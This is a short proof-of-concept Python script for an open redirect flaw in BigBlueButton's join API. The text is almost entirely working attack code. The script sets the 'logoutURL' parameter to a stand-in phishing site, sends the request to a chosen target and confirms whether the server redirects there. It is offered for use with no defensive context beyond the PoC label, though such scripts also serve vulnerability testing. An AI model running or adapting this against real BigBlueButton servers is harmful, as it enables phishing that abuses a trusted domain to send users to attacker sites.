CVE-2026-41126 BigBlueButton开放重定向漏洞

# PoC for CVE-2026-41126 BigBlueButton Open Redirect Vulnerability # This script demonstrates the open redirect vulnerability via the 'logoutURL' parameter. import requests def check_poc(target_domain, meeting_id, password): # Target endpoint vulnerable to open redirect base_url = f"{target_domain}/bigbluebutton/api/join" # Malicious URL to which the victim will be redirected evil_site = "http://attacker-controlled.com/phishing" # Construct the payload params = { "meetingID": meeting_id, "password": password, "fullName": "TestUser", "logoutURL": evil_site } try: # Send the request response = requests.get(base_url, params=params, allow_redirects=False) # Check for HTTP 302/301 Redirect if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if location and evil_site in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirects to: {location}") return True print("[-] Vulnerability not detected or invalid parameters.") return False except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target details target = "http://example-bbb-site.com" check_poc(target, "test_meeting", "attendee_pw")